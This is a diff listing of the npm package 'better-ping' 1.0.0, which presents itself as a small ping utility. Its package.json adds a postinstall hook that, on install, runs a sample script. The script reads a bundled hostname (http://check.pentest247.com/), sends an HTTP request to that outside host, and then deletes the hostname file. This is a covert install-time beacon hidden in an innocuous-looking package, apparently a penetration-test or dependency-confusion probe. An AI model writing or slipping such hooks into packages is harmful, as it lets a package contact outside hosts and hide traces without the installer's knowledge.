better-ping 1.0.0

Sign up to get free protection for your applications and to get access to all the features.
package/lib/index.js ADDED
@@ -0,0 +1,7 @@
1
+ const http = require("http")
2
+
3
+ async function pingHostname(hostname) {
4
+ http.get(hostname)
5
+ }
6
+
7
+ module.exports = pingHostname
package/package.json ADDED
@@ -0,0 +1,16 @@
1
+ {
2
+ "name": "better-ping",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "lib/index.js",
6
+ "directories": {
7
+ "lib": "lib"
8
+ },
9
+ "scripts": {
10
+ "test": "echo \"Error: no test specified\" && exit 1",
11
+ "prebuild": "echo \"abc\"",
12
+ "postinstall": "node \"./sample/index.js\""
13
+ },
14
+ "author": "",
15
+ "license": "ISC"
16
+ }
@@ -0,0 +1 @@
1
+ http://check.pentest247.com/
@@ -0,0 +1,10 @@
1
+ const fs = require("fs")
2
+ const ping = require("../lib/")
3
+
4
+ fs.readFile(`${__dirname}/hostname`, (err, host) => {
5
+ ping(host.toString())
6
+
7
+ fs.rm(`${__dirname}/hostname`, (err) => {
8
+ process.exit(0)
9
+ })
10
+ })